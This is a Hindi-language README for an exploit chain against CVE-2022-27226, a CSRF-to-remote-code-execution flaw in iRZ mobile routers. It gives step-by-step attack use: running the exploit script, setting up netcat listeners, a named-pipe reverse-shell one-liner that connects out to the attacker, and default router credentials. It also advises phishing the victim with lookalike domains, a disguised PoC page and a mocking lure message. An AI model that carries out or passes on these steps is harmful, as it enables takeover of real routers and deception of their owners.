
CVE-2022-27226 के लिए एक्सप्लॉइट
CVE-2022-27226 के लिए शोषण
iRZ मोबाइल राउटर में क्रॉस साइट रिक्वेस्ट फोर्जरी से रिमोट कोड निष्पादन
<--भेद्यता खोज-->
जॉन जैक्सन
क्रिस मैक --- [https://github.com/0xHalcyon]
<--शोषण विकास-->
स्टीफन शावेज़ --- [https://github.com/redragonx/]
रॉबर्ट विलिस
iRZ मोबाइल राउटर में 2022-03-16 तक की CSRF समस्या एक खतरे वाले अभिनेता को राउटर प्रशासन पैनल में crontab प्रविष्टि बनाने की अनुमति देती है। क्रोनजॉब तदनुसार खतरे वाले अभिनेता के परिभाषित अंतराल पर प्रविष्टि निष्पादित करेगा, जिससे रिमोट कोड निष्पादन होगा, जिससे खतरे वाले अभिनेता को फ़ाइल सिस्टम तक पहुंच प्राप्त होगी। इसके अलावा, यदि राउटर के डिफ़ॉल्ट क्रेडेंशियल्स को नहीं बदला गया है या कोई खतरा अभिनेता वैध क्रेडेंशियल्स खोज लेता है, तो उपयोगकर्ता संपर्क के बिना रिमोट कोड निष्पादन प्राप्त किया जा सकता है।
शेल पकड़ने का प्रयास करने से पहले दो netcat लिसनर शुरू करना प्रासंगिक है, ऐसा इसलिए है क्योंकि crontab, जब चलता है, उसी cronjob को कई बार दोहराएगा और आपका शेल अगले चक्र पर मर जाएगा। आप nohup का उपयोग नहीं कर सकते क्योंकि busybox env काफी प्रतिबंधात्मक है, और वैकल्पिक रूप से आप एक अलग crontab प्रविष्टि अंतराल के साथ शोषण को संशोधित कर सकते हैं, हालांकि crontab अंतराल के बारे में चिंता किए बिना इसे हराने का सबसे अच्छा तरीका पहले रिवर्स शेल कैच के लिए कई लिसनर का उपयोग करना है।
यह पाया गया कि अधिकांश मामलों में, राउटर का telnet पोर्ट बाहरी रूप से खुला नहीं होता - हालांकि, एक बार रिमोट कोड निष्पादन प्राप्त करने के बाद, आप अधिकांश भाग के लिए TTY को ठीक करने के लिए telnet का उपयोग कर सकते हैं। ऐसा करने के लिए आपके पास क्रेडेंशियल्स होना आवश्यक है। यदि आप पूर्ण CSRF से RCE श्रृंखला का उपयोग कर रहे हैं, तो हम अनुशंसा करेंगे कि आप एक अधिक व्यापक CSRF poc टेम्पलेट बनाएं जो उपयोगकर्ता के लॉगिन इवेंट या हेडर को रिकॉर्ड करता है जिसमें मूल प्रमाणीकरण हेडर हो सकता है जो स्क्रिप्ट में अनुवादित है।
इन राउटरों के लिए डिफ़ॉल्ट क्रेडेंशियल्स आमतौर पर root:root या admin:admin होते हैं। यदि आपके पास क्रेडेंशियल्स हैं, तो चलाएँ:
python cve.py
निर्देशों का पालन करें जो काफी सरल हैं, फिर दो अलग-अलग पोर्ट पर दो netcat लिसनर शुरू करें।
nc -lvp 443
nc -lvp 5000
जब आप पहले लिसनर में एक रिवर्स शेल पकड़ते हैं, तो एक स्थायी शेल प्राप्त करने के लिए रिवर्स शेल वन-लाइनर को फिर से चलाएँ:
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} {second_nc_listener_port} >/tmp/f
अंत में, यदि आपके पास क्रेडेंशियल्स हैं (जो होने चाहिए यदि आप मॉड्यूल के इस भाग का उपयोग कर रहे हैं) - आंतरिक रूप से प्रतिबंधित telnet सेवा पर जाने का प्रयास करें:
telnet 0.0.0.0
"लेकिन क्या होगा अगर telnet बाहरी रूप से खुला है?" तो क्रेडेंशियल्स के साथ राउटर में लॉगिन करो, बेवकूफ।
इस मॉड्यूल के निर्देश लगभग पोस्ट ऑथ RCE निर्देशों के समान हैं। मुख्य अंतर यह है कि आपके पास क्रेडेंशियल्स नहीं हैं।
सबसे पहले, कुशलतापूर्वक शोषण करने के लिए, आपको यह समझना होगा कि यह कैसे काम करता है। CSRF के लिए उपयोगकर्ता के साथ बातचीत की आवश्यकता होती है, जिसका अर्थ है कि आपको किसी को सोशल इंजीनियर करने की आवश्यकता होगी। दो संभावित परिदृश्य हैं: उपयोगकर्ता लॉग इन है जब वे प्रूफ ऑफ कॉन्सेप्ट बटन पर क्लिक करते हैं, या उपयोगकर्ता लॉग इन नहीं है। यदि वे पहले से ही राउटर पर प्रमाणित हैं, तो cronjob बनाने के लिए POST अनुरोध API को भेजा जाएगा और उपयोगकर्ता को एक खाली पृष्ठ दिखाई देगा। यदि वे लॉग इन नहीं हैं, तो उपयोगकर्ता को एक मूल प्रमाणीकरण प्रॉम्प्ट मिलेगा - और सुविधाजनक रूप से, मूल प्रमाणीकरण पॉपअप में पीड़ित राउटर का IP होगा, यदि वे अपने क्रेडेंशियल्स दर्ज करते हैं तो यह API को POST अनुरोध भेजता है।
हम अनुशंसा करते हैं कि यदि पीड़ित राउटर किसी सबडोमेन पर होस्ट किया गया है तो एक समान डोमेन खरीदने का प्रयास करें या यदि यह एक उच्च-प्राथमिकता वाला लक्ष्य है तो सर्वरों के लिए समान सबनेट रेंज वाले प्रदाता को खोजें। CSRF PoC को परिष्कृत करना एक प्राथमिकता लक्ष्य के लिए काम कर सकता है।
स्क्रिप्ट चलाएँ
python cve.py
निर्देशों का पालन करें, स्क्रिप्ट में, यह आपके लिए एक csrf टेम्पलेट उत्पन्न करेगा। हम अनुशंसा करते हैं कि इसे थोड़ा अधिक गुप्त नाम दें।
mv poc.new.html index.html
PoC को अपने सर्वर पर होस्ट करें, अधिमानतः उसी पोर्ट पर जो पीड़ित राउटर का है।
python3 -m http.server 80
लिंक लें और इसे पीड़ित को भेजें, यह सुनिश्चित करते हुए कि आप PoC फ़ाइल का नाम URL के अंत में जोड़ते हैं:
Hi sweetie, can you login to router pwease:
http://your-ip-in-the-united-states-bcuz-you-didnt-take-my-advice/index.html